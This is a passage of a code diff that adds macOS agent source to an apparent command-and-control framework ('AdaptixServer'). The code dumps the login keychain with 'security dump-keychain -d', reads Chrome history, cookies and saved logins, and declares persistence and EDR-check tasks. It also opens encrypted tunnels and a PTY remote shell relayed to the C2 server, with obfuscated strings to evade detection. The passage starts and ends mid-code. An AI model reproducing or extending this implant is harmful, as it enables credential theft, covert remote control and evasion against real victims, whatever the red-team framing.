+int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char action[32] = {0};
+ parse_string_field(data, data_len, "action", action, sizeof(action));
+
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ DEOBF(security_path, OBF_SECURITY_BIN);
+ if (ax_strcmp(action, "list") == 0) {
+ char* argv[] = { "security", "list-keychains", NULL };
+ run_capture_buf(security_path, argv, &out);
+ } else if (ax_strcmp(action, "dump") == 0) {
+ char* argv[] = { "security", "dump-keychain", "-d", NULL };
+ run_capture_buf(security_path, argv, &out);
+ } else {
+ ZERO_STR(security_path, OBF_SECURITY_BIN);
+ buf_free(&out);
+ write_error(w, "unknown keychain action");
+ return 0;
+ }
+ ZERO_STR(security_path, OBF_SECURITY_BIN);
+
+ char nul = '\0';
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+ buf_free(&out);
+ return 0;
+}
+
+int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char browser[32] = {0}, target[32] = {0};
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ const char* v; uint32_t vl;
+ if (kl == 7 && ax_memcmp(k, "browser", 7) == 0) {
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(browser)) { ax_memcpy(browser, v, vl); browser[vl] = '\0'; }
+ } else if (kl == 6 && ax_memcmp(k, "target", 6) == 0) {
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(target)) { ax_memcpy(target, v, vl); target[vl] = '\0'; }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ const char* home = R_getenv("HOME");
+ DEOBF(tmp_path, OBF_TMP);
+ if (!home) home = tmp_path;
+
+ buffer_t out;
+ buf_init(&out, 4096);
+
+ if (ax_strcmp(browser, "chrome") == 0) {
+ DEOBF(chrome_default, OBF_CHROME_DEFAULT);
+ char base_path[1024];
+ ax_strcpy(base_path, home);
+ ax_strcat(base_path, "/");
+ ax_strcat(base_path, chrome_default);
+ ZERO_STR(chrome_default, OBF_CHROME_DEFAULT);
+
+ DEOBF(sqlite3_path, OBF_SQLITE3);
+ if (target[0] == '\0') {
+ DEOBF(ls_path, OBF_LS);
+ char* argv[] = { "ls", "-la", base_path, NULL };
+ run_capture_buf(ls_path, argv, &out);
+ ZERO_STR(ls_path, OBF_LS);
+ } else if (ax_strcmp(target, "history") == 0) {
+ char db_path[1100];
+ ax_strcpy(db_path, base_path);
+ ax_strcat(db_path, "History");
+ char* argv[] = { "sqlite3", db_path,
+ "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 100;",
+ NULL };
+ run_capture_buf(sqlite3_path, argv, &out);
+ } else if (ax_strcmp(target, "cookies") == 0) {
+ char db_path[1100];
+ ax_strcpy(db_path, base_path);
+ ax_strcat(db_path, "Cookies");
+ char* argv[] = { "sqlite3", db_path,
+ "SELECT host_key, name, path FROM cookies LIMIT 200;",
+ NULL };
+ run_capture_buf(sqlite3_path, argv, &out);
+ } else if (ax_strcmp(target, "logins") == 0) {
+ char db_path[1100];
+ ax_strcpy(db_path, base_path);
+ ax_strcat(db_path, "Login Data");
+ char* argv[] = { "sqlite3", db_path,
+ "SELECT origin_url, username_value FROM logins;",
+ NULL };
+ run_capture_buf(sqlite3_path, argv, &out);
+ }
+ ZERO_STR(sqlite3_path, OBF_SQLITE3);
+ } else if (ax_strcmp(browser, "firefox") == 0) {
+ DEOBF(firefox_profiles, OBF_FIREFOX_COOKIES);
+ char profiles_path[1024];
+ ax_strcpy(profiles_path, home);
+ ax_strcat(profiles_path, "/");
+ ax_strcat(profiles_path, firefox_profiles);
+ ZERO_STR(firefox_profiles, OBF_FIREFOX_COOKIES);
+
+ if (target[0] == '\0') {
+ DEOBF(ls_path, OBF_LS);
+ char* argv[] = { "ls", "-la", profiles_path, NULL };
+ run_capture_buf(ls_path, argv, &out);
+ ZERO_STR(ls_path, OBF_LS);
+ } else {
+ char msg[] = "Firefox data extraction requires profile discovery (not yet implemented)\n";
+ buf_append(&out, (uint8_t*)msg, ax_strlen(msg));
+ }
+ } else {
+ ZERO_STR(tmp_path, OBF_TMP);
+ buf_free(&out);
+ write_error(w, "unknown browser");
+ return 0;
+ }
+
+ ZERO_STR(tmp_path, OBF_TMP);
+
+ char nul = '\0';
+ buf_append(&out, (uint8_t*)&nul, 1);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", (const char*)out.data);
+ buf_free(&out);
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h
new file mode 100644
index 000000000..709a95f8f
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h
@@ -0,0 +1,16 @@
+#ifndef TASKS_MACOS_H
+#define TASKS_MACOS_H
+
+#include "msgpack.h"
+#include
+
+int task_screenshot(mp_writer_t* w);
+int task_clipboard(mp_writer_t* w);
+int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_tcc_check(mp_writer_t* w);
+int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_edr_check(mp_writer_t* w);
+int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+
+#endif // TASKS_MACOS_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c
new file mode 100644
index 000000000..a7a9e1e3c
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c
@@ -0,0 +1,860 @@
+#include "tasks_net.h"
+#include "jobs.h"
+#include "crt.h"
+#include "crypt.h"
+#include "types.h"
+#include "dyld_resolve.h"
+#include "strings_obf.h"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#ifdef DEBUG_TRACE
+#include "syscalls_arm64.h"
+static void _dbg(const char* msg) {
+ size_t len = 0;
+ const char* p = msg;
+ while (*p++) len++;
+ sys_write(2, msg, len);
+ sys_write(2, "\n", 1);
+}
+static void _dbg_hex(const char* prefix, const uint8_t* data, size_t len) {
+ // Print prefix
+ size_t plen = 0;
+ const char* p = prefix;
+ while (*p++) plen++;
+ sys_write(2, prefix, plen);
+ // Print hex bytes (max 32)
+ size_t show = len < 32 ? len : 32;
+ static const char hx[] = "0123456789abcdef";
+ for (size_t i = 0; i < show; i++) {
+ char pair[3];
+ pair[0] = hx[(data[i] >> 4) & 0xF];
+ pair[1] = hx[data[i] & 0xF];
+ pair[2] = ' ';
+ sys_write(2, pair, 3);
+ }
+ sys_write(2, "\n", 1);
+}
+static void _dbg_int(const char* prefix, int64_t val) {
+ size_t plen = 0;
+ const char* p = prefix;
+ while (*p++) plen++;
+ sys_write(2, prefix, plen);
+ char nbuf[24];
+ int ni = 0;
+ uint64_t uv;
+ if (val < 0) { sys_write(2, "-", 1); uv = (uint64_t)(-val); }
+ else uv = (uint64_t)val;
+ do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0);
+ while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); }
+ sys_write(2, "\n", 1);
+}
+#else
+#define _dbg(msg) ((void)0)
+#define _dbg_hex(prefix, data, len) ((void)0)
+#define _dbg_int(prefix, val) ((void)0)
+#endif
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+// Parse channel_id from tunnel command params
+static int parse_channel_id(const uint8_t* data, uint32_t data_len) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) return -1;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) return -1;
+ if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) return (int)v;
+ int64_t sv;
+ // Reset reader and try int
+ mp_reader_init(&r, data, data_len);
+ mp_read_map(&r, &mc);
+ for (uint32_t j = 0; j <= i; j++) {
+ const char* k2; uint32_t kl2;
+ mp_read_str(&r, &k2, &kl2);
+ if (j < i) mp_skip(&r);
+ }
+ if (mp_read_int(&r, &sv) == 0) return (int)sv;
+ return -1;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+// ── Tunnel ──
+// Go: ParamsTunnelStart{Proto string, ChannelId int, Address string}
+// Spawns thread → opens connections to target AND C2 → bidirectional AES-CTR relay
+
+#define TUNNEL_BUF_SIZE (32 * 1024) // 32KB relay buffer
+
+typedef struct {
+ int tunnel_idx;
+ int channel_id;
+ char proto[8]; // "tcp" or "udp"
+ char address[256]; // target address "host:port"
+} tunnel_args_t;
+
+// Connect to target address
+static int tunnel_connect_target(const char* proto, const char* address, int* out_fd) {
+ // Parse host:port
+ char host[256] = {0};
+ uint16_t port = 0;
+ const char* colon = (const char*)0;
+ for (const char* p = address; *p; p++) {
+ if (*p == ':') colon = p;
+ }
+ if (!colon) return -1;
+
+ size_t hlen = (size_t)(colon - address);
+ if (hlen >= sizeof(host)) return -1;
+ ax_memcpy(host, address, hlen);
+ host[hlen] = '\0';
+
+ const char* p = colon + 1;
+ while (*p >= '0' && *p <= '9') {
+ port = port * 10 + (uint16_t)(*p - '0');
+ p++;
+ }
+
+ int sock_type = SOCK_STREAM;
+ if (ax_strcmp(proto, "udp") == 0) sock_type = SOCK_DGRAM;
+
+ struct addrinfo hints, *result;
+ ax_memset(&hints, 0, sizeof(hints));
+ hints.ai_family = AF_INET;
+ hints.ai_socktype = sock_type;
+
+ char port_str[8];
+ ax_itoa(port, port_str, 10);
+
+ if (R_getaddrinfo(host, port_str, &hints, &result) != 0)
+ return -1;
+
+ int fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol);
+ if (fd < 0) {
+ R_freeaddrinfo(result);
+ return -1;
+ }
+
+ // Set connect timeout ~200ms via non-blocking + select
+ R_fcntl(fd, F_SETFL, O_NONBLOCK);
+ int cr = R_connect(fd, result->ai_addr, result->ai_addrlen);
+ R_freeaddrinfo(result);
+
+ if (cr < 0 && errno != EINPROGRESS) {
+ R_close(fd);
+ return -1;
+ }
+
+ if (cr < 0) {
+ // Wait for connection with timeout
+ fd_set wfds;
+ FD_ZERO(&wfds);
+ FD_SET(fd, &wfds);
+ struct timeval tv = { .tv_sec = 0, .tv_usec = 200000 }; // 200ms
+
+ int sr = R_select(fd + 1, (void*)0, &wfds, (void*)0, &tv);
+ if (sr <= 0) {
+ R_close(fd);
+ return -1;
+ }
+
+ // Check for connection error
+ int err = 0;
+ socklen_t errlen = sizeof(err);
+ R_getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &errlen);
+ if (err != 0) {
+ R_close(fd);
+ return -1;
+ }
+ }
+
+ // Set back to blocking
+ int flags = R_fcntl(fd, F_GETFL, 0);
+ R_fcntl(fd, F_SETFL, flags & ~O_NONBLOCK);
+
+ *out_fd = fd;
+ return 0;
+}
+
+static void* tunnel_thread(void* arg) {
+ tunnel_args_t* targs = (tunnel_args_t*)arg;
+ job_context_t* ctx = &g_job_ctx;
+
+ R_pthread_mutex_lock(&ctx->tunnels_mutex);
+ tunnel_entry_t* tun = &ctx->tunnels[targs->tunnel_idx];
+ R_pthread_mutex_unlock(&ctx->tunnels_mutex);
+
+ // Connect to target
+ int alive = 1;
+ uint8_t reason = 0;
+
+ if (tunnel_connect_target(targs->proto, targs->address, &tun->client_fd) != 0) {
+ alive = 0;
+ reason = 5; // ECONNREFUSED (generic failure)
+ tun->client_fd = -1;
+ }
+
+ // Open connection to C2
+ if (jobs_open_connection(ctx, &tun->srv_conn) != 0) {
+ if (tun->client_fd >= 0) R_close(tun->client_fd);
+ tun->active = 0;
+ ax_free(targs, sizeof(tunnel_args_t));
+ return (void*)0;
+ }
+
+ // Generate per-tunnel AES keys
+ uint8_t tun_key[16], tun_iv[16];
+ ax_random_bytes(tun_key, 16);
+ ax_random_bytes(tun_iv, 16);
+
+ _dbg("[TUNNEL] === tunnel_thread start ===");
+ _dbg_int("[TUNNEL] channel_id=", targs->channel_id);
+ _dbg_int("[TUNNEL] alive=", alive);
+ _dbg_hex("[TUNNEL] key=", tun_key, 16);
+ _dbg_hex("[TUNNEL] iv=", tun_iv, 16);
+
+ // Send TunnelPack init
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 256);
+ mp_write_map(&pack_w, 6);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_uint(&pack_w, "type", ctx->profile_type);
+ mp_write_kv_int(&pack_w, "channel_id", targs->channel_id);
+ mp_write_kv_bin(&pack_w, "key", tun_key, 16);
+ mp_write_kv_bin(&pack_w, "iv", tun_iv, 16);
+ mp_write_kv_bool(&pack_w, "alive", alive ? true : false);
+
+ // Add reason field
+ mp_writer_t pack_w2;
+ mp_writer_init(&pack_w2, pack_w.buf.len + 32);
+ // Rewrite with 7 fields to include reason
+ mp_write_map(&pack_w2, 7);
+ mp_write_kv_uint(&pack_w2, "id", ctx->agent_id);
+ mp_write_kv_uint(&pack_w2, "type", ctx->profile_type);
+ mp_write_kv_int(&pack_w2, "channel_id", targs->channel_id);
+ mp_write_kv_bin(&pack_w2, "key", tun_key, 16);
+ mp_write_kv_bin(&pack_w2, "iv", tun_iv, 16);
+ mp_write_kv_bool(&pack_w2, "alive", alive ? true : false);
+ mp_write_kv_uint(&pack_w2, "reason", reason);
+ mp_writer_free(&pack_w);
+
+ _dbg_int("[TUNNEL] TunnelPack msgpack size=", (int64_t)pack_w2.buf.len);
+ _dbg_hex("[TUNNEL] TunnelPack first 32 bytes=", pack_w2.buf.data, pack_w2.buf.len < 32 ? pack_w2.buf.len : 32);
+
+ if (jobs_send_init(ctx, &tun->srv_conn, JOB_TUNNEL,
+ pack_w2.buf.data, (uint32_t)pack_w2.buf.len) != 0) {
+ mp_writer_free(&pack_w2);
+ if (tun->client_fd >= 0) R_close(tun->client_fd);
+ conn_close(&tun->srv_conn);
+ tun->active = 0;
+ ax_free(targs, sizeof(tunnel_args_t));
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w2);
+
+ if (!alive) {
+ conn_close(&tun->srv_conn);
+ tun->active = 0;
+ ax_free(targs, sizeof(tunnel_args_t));
+ return (void*)0;
+ }
+
+ // Set up AES-CTR streams with context (preserves partial block state)
+ // Server → Client: decrypt with tunKey/tunIv
+ // Client → Server: encrypt with tunKey/tunIv
+ aes128_ctr_ctx_t dec_ctx, enc_ctx;
+ aes128_ctr_init(&dec_ctx, tun_key, tun_iv);
+ aes128_ctr_init(&enc_ctx, tun_key, tun_iv);
+
+ // Zero key material
+ ax_memset(tun_key, 0, 16);
+ ax_memset(tun_iv, 0, 16);
+
+ _dbg("[TUNNEL] AES-CTR setup done, entering relay loop");
+ _dbg_hex("[TUNNEL] dec_ctr (initial)=", dec_ctx.counter, 16);
+ _dbg_hex("[TUNNEL] enc_ctr (initial)=", enc_ctx.counter, 16);
+ _dbg_int("[TUNNEL] srv_fd=", tun->srv_conn.fd);
+ _dbg_int("[TUNNEL] client_fd=", tun->client_fd);
+
+ // Bidirectional relay loop using select()
+ uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE);
+ uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE);
+
+ int srv_fd = tun->srv_conn.fd;
+ int _dbg_relay_count = 0;
+
+ while (!tun->canceled) {
+ fd_set rfds;
+ FD_ZERO(&rfds);
+ FD_SET(srv_fd, &rfds);
+ if (!tun->paused)
+ FD_SET(tun->client_fd, &rfds);
+
+ int maxfd = srv_fd > tun->client_fd ? srv_fd : tun->client_fd;
+ struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; // 500ms timeout
+
+ int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv);
+ if (sr < 0) break;
+ if (sr == 0) continue; // timeout, check canceled
+
+ // Server → Client (decrypt)
+ if (FD_ISSET(srv_fd, &rfds)) {
+ ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE);
+ if (n <= 0) {
+ _dbg_int("[TUNNEL] srv_fd read returned n=", (int64_t)n);
+ break;
+ }
+
+ if (_dbg_relay_count < 5) {
+ _dbg("[TUNNEL] --- SRV->CLIENT ---");
+ _dbg_int("[TUNNEL] read n=", (int64_t)n);
+ _dbg_hex("[TUNNEL] ciphertext (from srv)=", buf, (size_t)n < 32 ? (size_t)n : 32);
+ _dbg_hex("[TUNNEL] dec_ctr=", dec_ctx.counter, 16);
+ _dbg_int("[TUNNEL] dec_ks_offset=", dec_ctx.ks_offset);
+ }
+
+ // Decrypt with AES-CTR
+ aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n);
+
+ if (_dbg_relay_count < 5) {
+ _dbg_hex("[TUNNEL] plaintext (to client)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32);
+ }
+
+ // Write to client
+ size_t written = 0;
+ while (written < (size_t)n) {
+ ssize_t w = R_write(tun->client_fd, enc_buf + written, (size_t)n - written);
+ if (w <= 0) goto cleanup;
+ written += (size_t)w;
+ }
+ }
+
+ // Client → Server (encrypt)
+ if (!tun->paused && FD_ISSET(tun->client_fd, &rfds)) {
+ ssize_t n = R_read(tun->client_fd, buf, TUNNEL_BUF_SIZE);
+ if (n <= 0) {
+ _dbg_int("[TUNNEL] client_fd read returned n=", (int64_t)n);
+ break;
+ }
+
+ if (_dbg_relay_count < 5) {
+ _dbg("[TUNNEL] --- CLIENT->SRV ---");
+ _dbg_int("[TUNNEL] read n=", (int64_t)n);
+ _dbg_hex("[TUNNEL] plaintext (from client)=", buf, (size_t)n < 32 ? (size_t)n : 32);
+ _dbg_hex("[TUNNEL] enc_ctr=", enc_ctx.counter, 16);
+ _dbg_int("[TUNNEL] enc_ks_offset=", enc_ctx.ks_offset);
+ }
+
+ // Encrypt with AES-CTR
+ aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n);
+
+ if (_dbg_relay_count < 5) {
+ _dbg_hex("[TUNNEL] ciphertext (to srv)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32);
+ _dbg_relay_count++;
+ }
+
+ // Write to server
+ size_t written = 0;
+ while (written < (size_t)n) {
+ ssize_t w = R_write(srv_fd, enc_buf + written, (size_t)n - written);
+ if (w <= 0) goto cleanup;
+ written += (size_t)w;
+ }
+ }
+ }
+
+cleanup:
+ _dbg("[TUNNEL] === tunnel_thread cleanup ===");
+ _dbg_int("[TUNNEL] relay iterations (first 5 logged)=", (int64_t)_dbg_relay_count);
+
+ ax_free(buf, TUNNEL_BUF_SIZE);
+ ax_free(enc_buf, TUNNEL_BUF_SIZE);
+ ax_memset(&dec_ctx, 0, sizeof(dec_ctx));
+ ax_memset(&enc_ctx, 0, sizeof(enc_ctx));
+
+ if (tun->client_fd >= 0) R_close(tun->client_fd);
+ conn_close(&tun->srv_conn);
+
+ R_pthread_mutex_lock(&ctx->tunnels_mutex);
+ tun->active = 0;
+ R_pthread_mutex_unlock(&ctx->tunnels_mutex);
+
+ ax_free(targs, sizeof(tunnel_args_t));
+ return (void*)0;
+}
+
+int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ // Parse ParamsTunnelStart{Proto, ChannelId, Address}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char proto[8] = {0};
+ int channel_id = -1;
+ char address[256] = {0};
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; }
+ } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) {
+ uint64_t v;
+ if (mp_read_uint(&r, &v) == 0) channel_id = (int)v;
+ else {
+ int64_t sv;
+ if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv;
+ }
+ } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') {
+ write_error(w, "missing tunnel params");
+ return 0;
+ }
+
+ job_context_t* ctx = &g_job_ctx;
+
+ // Allocate tunnel slot
+ R_pthread_mutex_lock(&ctx->tunnels_mutex);
+ int idx = -1;
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (!ctx->tunnels[i].active) {
+ idx = i;
+ ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t));
+ ctx->tunnels[i].srv_conn.fd = -1;
+ ctx->tunnels[i].client_fd = -1;
+ ctx->tunnels[i].channel_id = channel_id;
+ ctx->tunnels[i].active = 1;
+ break;
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->tunnels_mutex);
+
+ if (idx < 0) { write_error(w, "max tunnels reached"); return 0; }
+
+ // Prepare thread args
+ tunnel_args_t* targs = (tunnel_args_t*)ax_malloc(sizeof(tunnel_args_t));
+ targs->tunnel_idx = idx;
+ targs->channel_id = channel_id;
+ ax_strncpy(targs->proto, proto, sizeof(targs->proto) - 1);
+ ax_strncpy(targs->address, address, sizeof(targs->address) - 1);
+
+ R_pthread_create(&ctx->tunnels[idx].thread, (void*)0, tunnel_thread, targs);
+ R_pthread_detach(ctx->tunnels[idx].thread);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel starting");
+ return 0;
+}
+
+int task_tunnel_stop(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ int ch_id = parse_channel_id(data, data_len);
+ if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; }
+
+ int idx = tunnels_find(&g_job_ctx, ch_id);
+ if (idx < 0) { write_error(w, "tunnel not found"); return 0; }
+
+ g_job_ctx.tunnels[idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel stopped");
+ return 0;
+}
+
+int task_tunnel_pause(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ int ch_id = parse_channel_id(data, data_len);
+ if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; }
+
+ int idx = tunnels_find(&g_job_ctx, ch_id);
+ if (idx < 0) { write_error(w, "tunnel not found"); return 0; }
+
+ g_job_ctx.tunnels[idx].paused = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel paused");
+ return 0;
+}
+
+int task_tunnel_resume(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ int ch_id = parse_channel_id(data, data_len);
+ if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; }
+
+ int idx = tunnels_find(&g_job_ctx, ch_id);
+ if (idx < 0) { write_error(w, "tunnel not found"); return 0; }
+
+ g_job_ctx.tunnels[idx].paused = 0;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel resumed");
+ return 0;
+}
+
+// ── Terminal ──
+// Go: ParamsTerminalStart{TermId int, Program string, Width int, Height int}
+// Spawns thread → opens PTY → connects to C2 → bidirectional AES-CTR relay
+
+// PTY helper: fork with pseudo-terminal
+static int pty_fork(const char* program, int width, int height, int* master_fd, int* child_pid_out) {
+ int master = R_posix_openpt(O_RDWR | O_NOCTTY);
+ if (master < 0) return -1;
+
+ if (R_grantpt(master) != 0 || R_unlockpt(master) != 0) {
+ R_close(master);
+ return -1;
+ }
+
+ char* slave_name = R_ptsname(master);
+ if (!slave_name) {
+ R_close(master);
+ return -1;
+ }
+
+ int pid = R_fork();
+ if (pid < 0) {
+ R_close(master);
+ return -1;
+ }
+
+ if (pid == 0) {
+ // Child
+ R_close(master);
+ R_setsid();
+
+ int slave = R_open(slave_name, O_RDWR, 0);
+ if (slave < 0) R_exit(1);
+
+ // Set terminal size
+ struct winsize ws;
+ ws.ws_col = (unsigned short)width;
+ ws.ws_row = (unsigned short)height;
+ ws.ws_xpixel = 0;
+ ws.ws_ypixel = 0;
+ R_ioctl(slave, TIOCSWINSZ, &ws);
+
+ // Set as controlling terminal
+ R_ioctl(slave, TIOCSCTTY, 0);
+
+ R_dup2(slave, 0);
+ R_dup2(slave, 1);
+ R_dup2(slave, 2);
+ if (slave > 2) R_close(slave);
+
+ // Set TERM environment
+ R_setenv("TERM", "xterm-256color", 1);
+
+ extern char*** _NSGetEnviron(void);
+ char** environ = *_NSGetEnviron();
+ char* argv_term[] = { (char*)program, (char*)0 };
+ R_execve(program, argv_term, environ);
+ R_exit(1);
+ }
+
+ // Parent
+ *master_fd = master;
+ *child_pid_out = pid;
+ return 0;
+}
+
+typedef struct {
+ int terminal_idx;
+ int term_id;
+ char program[256];
+ int width;
+ int height;
+} terminal_args_t;
+
+static void* terminal_thread(void* arg) {
+ terminal_args_t* targs = (terminal_args_t*)arg;
+ job_context_t* ctx = &g_job_ctx;
+
+ R_pthread_mutex_lock(&ctx->terminals_mutex);
+ terminal_entry_t* term = &ctx->terminals[targs->terminal_idx];
+ R_pthread_mutex_unlock(&ctx->terminals_mutex);
+
+ // Create PTY
+ int alive = 1;
+ char status_msg[256] = {0};
+
+ if (pty_fork(targs->program, targs->width, targs->height,
+ &term->pty_master, &term->child_pid) != 0) {
+ alive = 0;
+ ax_strcpy(status_msg, "PTY creation failed");
+ }
+
+ // Open connection to C2
+ if (jobs_open_connection(ctx, &term->srv_conn) != 0) {
+ if (term->pty_master >= 0) R_close(term->pty_master);
+ if (term->child_pid > 0) R_kill(term->child_pid, 9);
+ term->active = 0;
+ ax_free(targs, sizeof(terminal_args_t));
+ return (void*)0;
+ }
+
+ // Generate per-terminal AES keys
+ uint8_t term_key[16], term_iv[16];
+ ax_random_bytes(term_key, 16);
+ ax_random_bytes(term_iv, 16);
+
+ // Send TermPack init
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 256);
+ mp_write_map(&pack_w, 6);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_int(&pack_w, "term_id", targs->term_id);
+ mp_write_kv_bin(&pack_w, "key", term_key, 16);
+ mp_write_kv_bin(&pack_w, "iv", term_iv, 16);
+ mp_write_kv_bool(&pack_w, "alive", alive ? true : false);
+ mp_write_kv_str(&pack_w, "status", status_msg);
+
+ if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL,
+ pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) {
+ mp_writer_free(&pack_w);
+ if (term->pty_master >= 0) R_close(term->pty_master);
+ if (term->child_pid > 0) R_kill(term->child_pid, 9);
+ conn_close(&term->srv_conn);
+ term->active = 0;
+ ax_free(targs, sizeof(terminal_args_t));
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w);
+
+ if (!alive) {
+ conn_close(&term->srv_conn);
+ term->active = 0;
+ ax_free(targs, sizeof(terminal_args_t));
+ return (void*)0;
+ }
+
+ // Set up AES-CTR streams with context (preserves partial block state)
+ aes128_ctr_ctx_t dec_ctx, enc_ctx;
+ aes128_ctr_init(&dec_ctx, term_key, term_iv);
+ aes128_ctr_init(&enc_ctx, term_key, term_iv);
+
+ // Zero key material
+ ax_memset(term_key, 0, 16);
+ ax_memset(term_iv, 0, 16);
+
+ // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted)
+ uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE);
+ uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE);
+
+ int srv_fd = term->srv_conn.fd;
+ int pty_fd = term->pty_master;
+
+ while (!term->canceled) {
+ fd_set rfds;
+ FD_ZERO(&rfds);
+ FD_SET(srv_fd, &rfds);
+ FD_SET(pty_fd, &rfds);
+
+ int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd;
+ struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 };
+
+ int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv);
+ if (sr < 0) {
+ if (errno == EINTR) continue;
+ break;
+ }
+ if (sr == 0) {
+ // Check if child process is still running
+ int wstatus;
+ int wr = R_waitpid(term->child_pid, &wstatus, WNOHANG);
+ if (wr > 0) break; // Child exited
+ continue;
+ }
+
+ // Server → PTY (user input, decrypt)
+ if (FD_ISSET(srv_fd, &rfds)) {
+ ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE);
+ if (n <= 0) break;
+
+ aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n);
+
+ size_t written = 0;
+ while (written < (size_t)n) {
+ ssize_t wr = R_write(pty_fd, enc_buf + written, (size_t)n - written);
+ if (wr <= 0) goto term_cleanup;
+ written += (size_t)wr;
+ }
+ }
+
+ // PTY → Server (shell output, encrypt)
+ if (FD_ISSET(pty_fd, &rfds)) {
